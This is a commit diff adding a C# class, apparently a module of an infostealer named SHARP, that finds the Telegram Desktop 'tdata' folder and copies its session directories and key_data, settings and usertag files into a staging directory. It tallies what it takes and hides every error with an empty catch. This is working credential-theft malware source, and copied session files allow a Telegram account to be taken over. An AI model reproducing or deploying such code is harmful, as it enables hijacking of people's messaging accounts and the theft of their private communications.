initial commit
This commit is contained in:
+63
@@ -0,0 +1,63 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace SHARP
|
||||
{
|
||||
internal class Telegram
|
||||
{
|
||||
private static string GetTdata()
|
||||
{
|
||||
string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Telegram Desktop\\tdata";
|
||||
Process[] processesByName = Process.GetProcessesByName(nameof (Telegram));
|
||||
return processesByName.Length == 0 ? str : Path.Combine(Path.GetDirectoryName(ProcessList.ProcessExecutablePath(processesByName[0])), "tdata");
|
||||
}
|
||||
|
||||
public static async Task GetTelegramSessions(string head)
|
||||
{
|
||||
string str1 = head;
|
||||
string tdata = Telegram.GetTdata();
|
||||
try
|
||||
{
|
||||
if (!Directory.Exists(tdata))
|
||||
return;
|
||||
string str2 = str1 + "\\Telegram";
|
||||
Directory.CreateDirectory(str2);
|
||||
string[] directories = Directory.GetDirectories(tdata);
|
||||
string[] files = Directory.GetFiles(tdata);
|
||||
foreach (string str3 in directories)
|
||||
{
|
||||
string name = new DirectoryInfo(str3).Name;
|
||||
if (name.Length == 16 /*0x10*/)
|
||||
{
|
||||
string targetDir = Path.Combine(str2, name);
|
||||
Filemanager.CopyDirectory(str3, targetDir);
|
||||
}
|
||||
}
|
||||
foreach (string fileName in files)
|
||||
{
|
||||
FileInfo fileInfo = new FileInfo(fileName);
|
||||
string name = fileInfo.Name;
|
||||
string destFileName = Path.Combine(str2, name);
|
||||
if (fileInfo.Length <= 5120L)
|
||||
{
|
||||
if (name.EndsWith("s") && name.Length == 17)
|
||||
{
|
||||
fileInfo.CopyTo(destFileName);
|
||||
}
|
||||
else
|
||||
{
|
||||
if (name.StartsWith("usertag") || name.StartsWith("settings") || name.StartsWith("key_data"))
|
||||
fileInfo.CopyTo(destFileName);
|
||||
++Counting.Telegram;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user